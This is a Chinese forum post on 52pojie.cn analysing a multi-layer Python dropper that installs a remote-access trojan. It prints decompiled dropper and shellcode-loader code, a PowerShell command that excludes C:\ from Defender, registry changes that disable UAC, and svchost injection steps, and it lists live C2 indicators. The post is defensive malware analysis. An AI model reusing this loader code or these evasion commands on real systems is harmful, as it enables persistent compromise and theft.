吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1692|回复: 18
上一主题 下一主题
收起左侧

[PC样本分析] 【全流程分析】多层嵌套的Python远控木马,从伪装到上线的完整链条

[复制链接]
跳转到指定楼层
楼主
神奇的人鱼 发表于 2026-4-17 16:16 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 神奇的人鱼 于 2026-4-17 16:16 编辑

uzusy28.exe 恶意样本分析报告

基本信息

项目 内容
原始文件名 uzusy28.exe
文件大小 21 MB
文件类型 PE32 executable (GUI) Intel 80386
打包方式 PyInstaller 3.x / Python 3.10
SHA1 3b0d4fd6968458c086e4e173050213fcfd05c4e5
分析日期 2026-04-17

执行摘要

近期捕获的uzusy28.exe 是一个经过多层嵌套的恶意载荷投放器,通过 PyInstaller 打包 Python 脚本,经过 7 层嵌套后最终释放并执行一个功能完整的远控木马(RAT)。攻击链涉及合法软件伪装、Python 标准库篡改、Donut shellcode 加载、进程注入、系统持久化等多种技术。是一个不错的分析对象。

攻击链总览

L1: uzusy28.exe (PyInstaller 打包, 21MB)
 ├── L2: oo.pyc (入口脚本)
 │    └── L3: dd.pyc (包含加密 7z, 密码 "2026")
 │         └── L4: wefault.exe (外层, 合法 mgodb 改名)
 │              └── L5: app-xxx/wefault.exe (内层, pythonw.exe)
 │                   └── L6: python310.zip/encodings/__init__.pyc (被篡改)
 │                        └── L7: shellcode.bin (Donut Shellcode #1)
 │                             └── L8: fsch.dll (投放器/loader, 导出 f)
 │                                  └── L9: base32.pyc → shellcode.bin2 (Donut Shellcode #2)
 │                                       └── L10: RAT DLL (远控主体, 导出 run)

第一层:uzusy28.exe

基本信息

  • 大小: 21 MB
  • 类型: PyInstaller 打包的 Python 3.12 可执行文件(外层)
  • 行为: PyInstaller 自解压到临时目录,执行入口脚本 oo.pyc

分析方法

可以参考我之前的帖子,直接在线解包,也可以使用 pyinstxtractor 解包,提取内部 .pyc 文件。


第二层:oo.pyc(入口脚本)

基本信息

  • 来源: PyInstaller 解包后的入口点
  • 行为: 反编译后确认为恶意入口脚本
  • 功能: 调用 dd.pyc 模块,触发后续攻击链

分析方法

由于使用的是python3.12打包,必须使用pylingual,直接反编译可以获得结果。从反编译的代码中可以看出来从dd模块中导入了data,然后通过7z解压到可疑目录。

import io
import py7zr
import ctypes
from dd import data
def decompress_7z_from_memory():
    source_data = data
    memory_file = io.BytesIO(source_data)
    password = '2026'
    target_dir = 'C:/programdata/python'
    with py7zr.SevenZipFile(memory_file, mode='r', password=password) as archive:
        archive.extractall(path=target_dir)
                except py7zr.exceptions.PasswordRequired:
                    print('错误:该压缩包需要密码。')
                    except py7zr.exceptions.Bad7zFile:
                        print('错误:不是有效的 7z 文件或密码错误。')
                        except Exception as e:
                                print(f'发生意外错误: {e}')
if __name__ == '__main__':
    hwnd = ctypes.windll.kernel32.GetConsoleWindow()
    ctypes.windll.user32.ShowWindow(hwnd, 0)
    decompress_7z_from_memory()
    try:
        ctypes.windll.shell32.ShellExecuteW(None, 'open', 'C:\\programdata\\python\\wefault.exe', '', None, 1)
    except:
        # return None
        pass

第三层:dd.pyc(加密压缩包释放器)

基本信息

  • 来源: PYZ 压缩包内提取的模块
  • 行为: 内嵌一个 7z 压缩包,密码为 2026,见上面行为
  • 功能: 解压并释放后续载荷到目标路径

第四层:wefault.exe(外层 — 合法软件伪装)

基本信息

  • 原始软件: 合法的 MongoDB 数据库工具(mgodb)
  • 伪装手段: 改名为 wefault.exe,伪装成系统相关程序
  • 功能: 作为启动器,运行 app-xxx 目录下的同名文件 wefault.exe(内层)

分析方法

通过数字签名知道这个是合法的工具,被利用了,通过ida反编译这个工具知道他的具体行为是启动app-xxx目录下的同名应用,这个启动器没有进行任何校验,这也给攻击者利用的空间


第五层:wefault.exe(内层 — pythonw.exe)

基本信息

  • 实质: Python 3.10 的 pythonw.exe(无控制台窗口的 Python 解释器)
  • 行为: 启动后加载 python310.zip 中的 Python 标准库
  • 关键点: 标准库 encodings 模块已被攻击者篡改

分析方法

最初也通过ida对这个文件进行分析,但最终发现这个文件没有问题,问题在下面,攻击者添加了一个恶意的pyc文件,实现自动加载恶意载荷。


第六层:encodings/init.pyc(被篡改的 Python 标准库)

基本信息

  • 来源: python310.zip 内的 encodings/__init__.pyc
  • 篡改方式: 在标准 encodings 模块中嵌入了恶意 shellcode 和加载逻辑
  • 行为: Python 初始化时自动加载 encodings 模块,恶意代码随系统启动自动执行
  • 隐蔽性: 利用 Python 标准库加载机制,不在主脚本中出现任何可疑代码

注意这个大小和修改日期

触发方式

Python 解释器启动时会自动 import encodings 模块,因此恶意代码在 Python 初始化阶段即被执行,无需显式调用。

分析方法

下面是反编译后的代码,因为是python3.10,多种反编译都可以。从反编译的代码中能看到清晰的恶意行为,通过创建可执行内存映射区域准备加载并执行一段Shellcode,属于典型的无文件内存注入技术框架。

import ctypes
from ctypes import wintypes
shellcode = b'xxx'
INVALID_HANDLE_VALUE = -1
PAGE_EXECUTE_READWRITE = 64
FILE_MAP_WRITE = 2
FILE_MAP_EXECUTE = 32
MEM_COMMIT = 4096
MEM_RESERVE = 8192
kernel32 = ctypes.windll.kernel32
CreateFileMapping = kernel32.CreateFileMappingW
CreateFileMapping.argtypes = [
    wintypes.HANDLE,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.LPCWSTR]
CreateFileMapping.restype = wintypes.HANDLE
MapViewOfFile = kernel32.MapViewOfFile
MapViewOfFile.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_size_t]
MapViewOfFile.restype = ctypes.c_void_p
UnmapViewOfFile = kernel32.UnmapViewOfFile
UnmapViewOfFile.argtypes = [
    ctypes.c_void_p]
UnmapViewOfFile.restype = wintypes.BOOL
CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [
    wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL

def execute_shellcode(shellcode):
    hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)
    pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))

execute_shellcode(shellcode)

第七~八层:Donut Shellcode #1 → fsch.dll

shellcode.bin 基本信息

  • 大小: 257 KB
  • 加密方式: Donut framework 的 Chaskey-CTR 加密(这个可以写一篇新的文章进行讲解,在这里不是重点)
  • 反分析: 内含 AMSI bypass、ETW bypass 等对抗机制

fsch.dll 基本信息

项目 内容
提取文件名 fsch.dll
大小 172 KB
架构 AMD64 PE32+ (DLL)
导出函数 f (RVA 0x176C)
编译器 MSVC

fsch.dll 恶意行为详细分析

1. 提权与重启
ShellExecuteExA("runas") → 非管理员时请求管理员权限重新启动自身

2. 创建伪装目录与快捷方式
  • 创建目录: C:\ProgramData\Tencent\Tencent(伪装腾讯软件)
  • 创建快捷方式: KOOK.lnk → 指向 wefault.exe(伪装 KOOK 聊天软件)


3. 反杀软检测
  • 使用 CreateToolhelp32Snapshot 遍历进程列表
  • 查找 360tray.exe(360 安全卫士)
  • 根据检测结果调整后续行为

4. 关闭 Windows Defender
powershell Add-MpPreference -ExclusionPath 'C:\'

C:\ 整个盘符加入 Defender 排除路径。

5. 禁用 UAC(用户账户控制)

修改注册表键值:

注册表路径 值名 设为
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA 0
同上 ConsentPromptBehaviorAdmin 0
同上 PromptOnSecureDesktop 0

6. 修改 Startup 注册表

将 Startup 文件夹指向攻击者控制的目录:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
  → C:\ProgramData\Tencent\Tencent

7. 创建计划任务持久化
  • 任务名称: \Microsoft\MicrosoftUpdate
  • 触发条件: 系统启动 + 用户登录
  • 执行目标: C:\ProgramData\Python\wefault.exe
  • 创建方式: 通过 RPC \pipe\atsvc(直接调用任务计划程序 RPC 接口)

8. 加载最终载荷

到这里链路就是完整的了,最开始一直疑惑不知道谁调用了外层的shellcode,原来这里调用了。

sub_180001344:
  CreateFileW("C:\ProgramData\Python\base32.pyc")
  → CreateFileMappingW(PAGE_EXECUTE_READWRITE)
  → MapViewOfFile
  → 读取文件内容到可执行内存
  → 跳转执行 (base32.pyc 即为第二层 shellcode)

关键辅助函数

函数地址 功能
sub_18000110C 检测 360tray.exe 进程
sub_180001280 检查持久化是否已设置
sub_180001428 通过 RPC 创建计划任务
sub_180001560 禁用 UAC(修改 3 个注册表值)
sub_18000163C PowerShell 关闭 Defender
sub_180001344 读取 base32.pyc 到可执行内存并执行
sub_1800011A8 创建 KOOK.lnk 快捷方式
sub_18000105C COM 接口操作(防火墙相关)

第九~十层:Donut Shellcode #2 → RAT DLL

shellcode.bin2 基本信息

  • 来源: base32.pyc(由 fsch.dll 通过 sub_180001344 加载到 RWX 内存执行)
  • 大小: 373 KB(Donut 实例 292 KB)
  • 加密方式: Donut Chaskey-CTR(不同密钥)
  • 在磁盘上的路径: C:\ProgramData\Python\base32.pyc

RAT DLL 基本信息

项目 内容
提取文件名 rat.dll
大小 288 KB
架构 AMD64 PE32+ (DLL)
导出函数 run (RVA 0x11800)
编译器 MSVC (含 Dinkumware STL, C++ 异常处理)
时间戳 0x69BFC7DE

类结构 (RTTI)

类名 功能
CManager 主管理器,命令调度中心
CLoginManager 登录管理,会话建立与认证
CTcpSocket TCP 传输通道
CUdpSocket UDP/KCP 传输通道
CArqSessionT<CUdpSocket> 基于 KCP 的可靠 UDP 传输会话
CBuffer 数据缓冲区
CImage / Gdiplus Bitmap 屏幕截图处理

导出函数 run 分析 (RVA 0x11800)

  1. 调用 GetComputerNameW 获取计算机名
  2. 创建互斥量 Global\Mutex_<hostname> 防止重复运行
  3. 检测火绒杀软: GetFileAttributesA("C:\Program Files\Huorong\Sysdiag\bin\HipsDaemon.exe")
  4. 通过 DNS-over-HTTPS 解析 C2 地址: https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A
    • 解析成功: 使用返回的 IP
    • 解析失败: 回退到硬编码地址 43.154.90.28
  5. 创建主线程 StartAddress

主线程 StartAddress (0x180011070)

  1. 提权:
    • OpenProcessToken + AdjustTokenPrivileges → 获取 SeDebugPrivilege
    • NtSetInformationProcess(ProcessBreakOnTermination=1) → 防止进程被任务管理器终止
  2. 初始化延迟: 从配置读取延迟秒数
  3. 可选线程:
    • sub_180009790: 进程守护线程(监控注入的 svchost.exe,若退出则重新注入)
    • sub_180009190: SeDebugPrivilege 提权 + NtSetInformationProcess
  4. 初始化传输对象:
    • CTcpSocket (0x18 字节): TCP 传输通道
    • CUdpSocket (0x368 字节): KCP/UDP 传输通道
  5. 连接循环:
    • 交替使用两组 C2 配置
    • 每 200 次尝试后切换到备用地址
    • 连接成功后进入命令处理循环

C2 通信协议

项目 详情
主 C2 地址 43.154.90.28(腾讯云)
备用 C2 解析 DNS-over-HTTPS: https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A(阿里 DNS 223.5.5.5)
User-Agent DNS-Agent
传输协议 TCP(模式 1)或 KCP/UDP(模式 0),运行时可切换
备用配置格式 p1/o1/t1、p2/o2/t2、p3/o3/t3 三组备份 C2(p=地址, o=端口, t=传输类型)
心跳机制 命令 ID 0x09,发送字节 0x15
上线数据 4732 字节系统信息

上线信标数据 (sub_180006F60)

连接 C2 成功后,收集并发送以下系统信息(共 4732 字节):

数据 收集方式
IP 地址列表 gethostname + gethostbyname + inet_ntoa
空闲时间 GetLastInputInfo + GetTickCount
主机名 gethostname
硬件信息 GetCurrentHwProfileW (GUID)
CPU 核心数 GetNativeSystemInfo
磁盘/内存 GetDiskFreeSpaceExW + GlobalMemoryStatusEx
GPU/显示器 DXGI CreateDXGIFactory 枚举适配器和分辨率
前台窗口标题 GetForegroundWindow + GetWindowTextW
OS 架构 GetNativeSystemInfo (x86/x64)
当前进程路径 GetProcessImageFileNameW
系统目录 GetSystemDirectoryW
区域设置 GetLocaleInfoW
版本号 硬编码 "1.0"
安装时间 time64 + tick count 计算

C2 命令表 (sub_18000D390)

命令 ID 功能 详细说明
0x00 插件管理 按名称匹配加载/卸载/更新模块,通过名称比对查找已加载插件
0x01 安装插件 接收插件数据,存入注册表 HKCU\Console\1,启动插件执行线程
0x02 断开重连 销毁当前 socket 连接,触发重连循环
0x03 交互会话 开启交互式会话模式
0x04 屏幕截图 通过 DXGI + GDI+ 截取屏幕,返回图像数据
0x05 文件管理 远程文件浏览器,支持浏览/上传/下载/删除等操作
0x06 交互终端 启动命令行 shell,支持实时交互
0x07 设置标签 设置 GROUP 或 REMARK 标识(区分受害者)
0x08 远程命令执行 执行指定命令
0x09 心跳 返回字节 0x15
0x0A 截屏(带参数) 指定宽高的屏幕截图
0x0B 清除事件日志 清除 Application、Security、System 三类 Windows 事件日志
0x0C 触发异常 调用 TopLevelExceptionFilter 测试异常处理
0x0D 退出进程 ExitProcess(0)
0x0E 注销 ExitWindowsEx(EWX_LOGOFF)
0x0F 重启 ExitWindowsEx(EWX_REBOOT)
0x10 关机 ExitWindowsEx(EWX_SHUTDOWN)
0x11 切换传输模式 TCP ↔ UDP/KCP 模式切换
0x12 更新 C2 配置 解析 p1/o1/t1 ~ p3/o3/t3 三组备份地址,存入注册表 HKCU\Console\IpDate
0x13 反向连接 启动新的反向连接会话到指定地址
0x64 存储标记 写入 HKCU\Console\IpDatespecial
0x65 删除标记 删除 IpDatespecial 注册表值
0xC9 交互模式切换 开启/关闭交互式会话
0xCA 发送确认 发送确认字节 (0xCB)

键盘记录模块 (sub_1800119B0 + sub_180011DC0)

初始化 (sub_1800119B0)
  1. 获取 %LOCALAPPDATA% 路径
  2. 创建日志文件: %LOCALAPPDATA%\DisplaySessionContainers.log
  3. 创建互斥量保护日志文件访问
  4. 检查日志文件大小,超过 50MB (0x3200000) 则删除
  5. 初始化 DirectInput8 (DirectX 输入系统)
  6. 设置键盘设备: 60 键缓冲区,数据格式 c_dfDIKeyboard
  7. 设置合作级别: DISCL_BACKGROUND | DISCL_NONEXCLUSIVE(后台静默记录)
  8. 获取 CapsLock 状态 (GetKeyState(VK_CAPITAL=20))
主记录循环 (sub_180011DC0)
while (true):
    Sleep(1)

    // 剪贴板监控 (每 1.5 秒)
    if GetTickCount() - last_check > 1500ms:
        OpenClipboard(0)
        data = GetClipboardData(CF_UNICODETEXT)
        if data 变化:
            格式化并发送剪贴板内容到 C2
        CloseClipboard()

    // 键盘状态轮询
    DirectInput.GetDeviceData(24 bytes per event)
    解析 102 个虚拟键码
    查表转换 scancode → 字符(含 Shift/CapsLock 状态处理)
    累积按键到缓冲区

    // 发送按键数据
    if 缓冲区非空:
        发送到 C2
        清空缓冲区
键盘映射表
  • 使用 102 键映射表,每个条目 62 字节(包含基础键、Shift 键、CapsLock 键的字符)
  • 特殊处理: Shift 键 (scancode 41/53)、CapsLock 键 (scancode 57)
  • 日志文件: %LOCALAPPDATA%\DisplaySessionContainers.log

进程注入与守护 (sub_1800093D0)

svchost.exe 注入流程
1. GetSystemDirectoryA → 获取系统目录 (截取前3字符,如 "C:\")
2. 构造路径: "<盘符>Windows\System32\svchost.exe"
3. CreateProcessA(suspended, CREATE_SUSPENDED|CREATE_NO_WINDOW)
4. OpenProcess(PROCESS_ALL_ACCESS)
5. 准备注入数据 (v17, 304 bytes):
   - [0] GetProcAddress(WinExec)          → 执行程序
   - [1] GetProcAddress(OpenProcess)      → 打开进程
   - [2] GetProcAddress(ExitProcess)      → 退出进程
   - [3] GetProcAddress(WaitForSingleObject) → 等待
   - [4] GetCurrentProcessId()            → 主进程 PID
   - [6] GetModuleFileNameA()             → 主程序完整路径
6. VirtualAllocEx(0x130, RWX) → 在 svchost 中分配内存
7. WriteProcessMemory(注入数据)
8. VirtualProtectEx(PAGE_READONLY) → 设为只读保护
9. VirtualAllocEx(0x1000, RWX) → 分配代码段内存
10. WriteProcessMemory(shellcode: sub_1800092A0)
11. VirtualProtectEx(PAGE_READONLY) → 保护代码段
12. CreateRemoteThread(entry=shellcode, param=注入数据, CREATE_SUSPENDED)
13. Sleep(60秒)
14. VirtualProtectEx(RWX) → 解除保护
15. ResumeThread() → 启动远程线程
注入的 shellcode 逻辑 (sub_1800092A0)
1. 从参数中读取函数指针:
   - WinExec    (偏移 0)
   - OpenProcess (偏移 8)
   - ExitProcess (偏移 16)
   - WaitForSingleObject (偏移 24)

2. OpenProcess(PROCESS_ALL_ACCESS, FALSE, 主进程PID)
   → 获取主进程句柄

3. WaitForSingleObject(主进程句柄, INFINITE)
   → 等待主进程退出

4. WinExec(主程序路径, SW_HIDE)
   → 主进程被杀后,自动重新启动恶意程序

5. ExitProcess(0)
   → 退出 svchost 宿主

效果: 当用户或杀软终止恶意进程时,注入在 svchost.exe 中的代码会立即重新启动恶意程序,形成进程守护机制。

注册表持久化

注册表路径 值名 用途
HKCU\Console\IpDate (Default) C2 通信配置(含 3 组备份地址)
HKCU\Console\IpDatespecial (Default) 特殊标记(4 字节 DWORD)
HKCU\Console\1 <插件名> 存储的插件/任务数据(每个注册表值 = 一个插件实例)

会话管理 (sub_18000CFB0)

当收到配置更新命令或反向连接命令时:

  1. 解析配置字符串,提取 p1/o1/t1(地址/端口/类型)
  2. 根据传输类型创建 CTcpSocket(type=1) 或 CUdpSocket(type=0)
  3. 连接指定 C2 地址
  4. 创建 CManager + CLoginManager 会话
  5. 从注册表 HKCU\Console\1 加载所有已保存的插件
  6. 发送上线信标
  7. 进入命令处理循环

插件加载机制 (sub_18000CBC0)

  1. 检查是否为 onlyloadinmyself 模式(仅加载自身进程内的模块)
  2. 在目标内存中搜索 plugmark 标记
  3. 将插件数据写入标记位置
  4. 通过 sub_180010960 + sub_180010DA0 解析并执行插件
  5. 向 C2 返回执行结果

完整攻击链时序图

[用户运行 uzusy28.exe]
       │
       ▼
[PyInstaller 自解压到临时目录]
       │
       ▼
[执行 oo.pyc] ← Python 入口脚本
       │
       ▼
[调用 dd.pyc] ← 解压内嵌 7z (密码 "2026")
       │
       ▼
[释放 wefault.exe (外层)] ← 合法 mgodb 改名
       │
       ▼
[启动 app-xxx/wefault.exe (内层)] ← pythonw.exe
       │
       ▼
[Python 自动加载 encodings 模块]
       │
       ▼
[encodings/__init__.pyc 执行恶意代码]
       │
       ▼
[Donut Shellcode #1 解密执行]
       │
       ▼
[fsch.dll (导出 f) 执行]
       │
       ├── 请求管理员权限 (runas)
       ├── 创建 C:\ProgramData\Tencent\Tencent 目录
       ├── 创建 KOOK.lnk 快捷方式
       ├── 检测 360 杀软
       ├── 关闭 Windows Defender (排除 C:\)
       ├── 禁用 UAC (3个注册表值)
       ├── 修改 Startup 注册表
       ├── 创建计划任务 \Microsoft\MicrosoftUpdate
       │
       ▼
[读取 base32.pyc 到 RWX 内存并执行]
       │
       ▼
[Donut Shellcode #2 解密执行]
       │
       ▼
[RAT DLL (导出 run) 执行]
       │
       ├── 提权: SeDebugPrivilege + ProcessBreakOnTermination
       ├── 检测火绒杀软 (HipsDaemon.exe)
       ├── DNS-over-HTTPS 解析 C2
       ├── 连接 43.154.90.28 (TCP/KCP)
       ├── 发送系统信息 (4732 bytes)
       ├── 等待 C2 命令
       │    ├── 屏幕截图
       │    ├── 键盘记录 (DirectInput8)
       │    ├── 剪贴板监控
       │    ├── 文件管理
       │    ├── 远程命令执行
       │    ├── 进程注入 (svchost.exe 守护)
       │    ├── 清除事件日志
       │    ├── 系统电源控制
       │    └── 插件加载与管理
       │
       └── [持续运行,等待指令]

IOC (入侵指标)

文件

文件名/路径 类型
uzusy28.exe 原始投放器
wefault.exe (外层) 合法软件伪装 (mgodb)
wefault.exe (内层) pythonw.exe 伪装
C:\ProgramData\Python\base32.pyc 第二层 shellcode
C:\ProgramData\Python\wefault.exe 恶意程序副本
C:\ProgramData\Tencent\Tencent\KOOK.lnk 伪装快捷方式
%LOCALAPPDATA%\DisplaySessionContainers.log 键盘记录日志

网络

指标
C2 IP 43.154.90.28 (腾讯云)
C2 域名 fachuoifachuoi.com
DoH 服务器 223.5.5.5 (阿里 DNS)
DoH URL https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A
User-Agent DNS-Agent
默认端口 9999

注册表

注册表路径 值名 说明
HKCU\Console IpDate C2 配置数据
HKCU\Console IpDatespecial 特殊标记
HKCU\Console\1 (多个值) 存储的插件/任务
HKLM\...\Policies\System EnableLUA 设为 0 (禁用 UAC)
HKLM\...\Policies\System ConsentPromptBehaviorAdmin 设为 0
HKLM\...\Policies\System PromptOnSecureDesktop 设为 0

互斥量

互斥量名称 用途
Global\Mutex_<hostname> RAT 防重复运行

计划任务

任务路径 触发 执行
\Microsoft\MicrosoftUpdate 开机 + 登录 C:\ProgramData\Python\wefault.exe

分析环境

项目 详情
静态分析 IDA Pro 9.3 + MCP 插件
动态分析 x64dbg + MCP 插件
PyInstaller 解包 pyinstxtractor

免费评分

参与人数 5吾爱币 +3 热心值 +5 收起 理由
ahov + 1 + 1 用心讨论,共获提升!
evea + 1 + 1 谢谢@Thanks!
GDExecW + 1 我很赞同!
qixueqian + 1 我很赞同!
Explorer12138 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
tzj070123 发表于 2026-4-17 20:52
我也是学计算机的,必须学习一下
沙发
phiix52 发表于 2026-4-17 16:30
3#
寒冰飞雪 发表于 2026-4-17 16:32
4#
EternalMY 发表于 2026-4-17 16:59
有样本的下载地址吗
5#
 楼主| 神奇的人鱼 发表于 2026-4-17 17:08 |楼主
EternalMY 发表于 2026-4-17 16:59
有样本的下载地址吗

已经提供了hash,请自行下载
6#
zbyzz 发表于 2026-4-17 17:14
好用,有用
8#
Explorer12138 发表于 2026-4-17 22:45
这个很厉害
9#
ww7996 发表于 2026-4-17 22:47
太厉害啦 崇拜你
10#
fxw520 发表于 2026-4-18 08:02
普通人如何发现这些软件是病毒
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-5-12 00:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表